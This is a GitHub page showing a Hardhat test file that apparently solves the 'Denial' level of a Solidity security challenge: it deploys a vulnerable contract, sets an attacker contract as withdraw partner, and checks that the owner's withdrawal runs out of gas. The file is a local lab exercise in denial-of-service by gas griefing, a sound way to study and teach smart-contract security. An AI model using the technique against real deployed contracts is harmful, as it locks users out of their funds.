generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
20-Denial.test.ts
40 lines (33 loc) · 1.2 KB
/
20-Denial.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers } from 'hardhat';
const { provider, utils } = ethers;
describe('Denial', () => {
let owner: SignerWithAddress;
let user1: SignerWithAddress;
let user2: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
before(async () => {
[owner, user1, user2, attacker] = await ethers.getSigners();
const Factory = await ethers.getContractFactory('Denial');
contract = await Factory.connect(owner).deploy();
await contract.deployed();
let tx = await owner.sendTransaction({
to: contract.address,
value: utils.parseEther('0.001'),
});
await tx.wait();
});
it('attack', async () => {
const AttackerFactory = await ethers.getContractFactory('DenialAttacker');
const attackerContract = await AttackerFactory.deploy();
await attackerContract.deployed();
let tx = await contract.setWithdrawPartner(attackerContract.address);
await tx.wait();
tx = contract.connect(owner).withdraw({ gasLimit: 1000000 });
// out of gas
await expect(tx).to.be.rejectedWith(Error);
});
});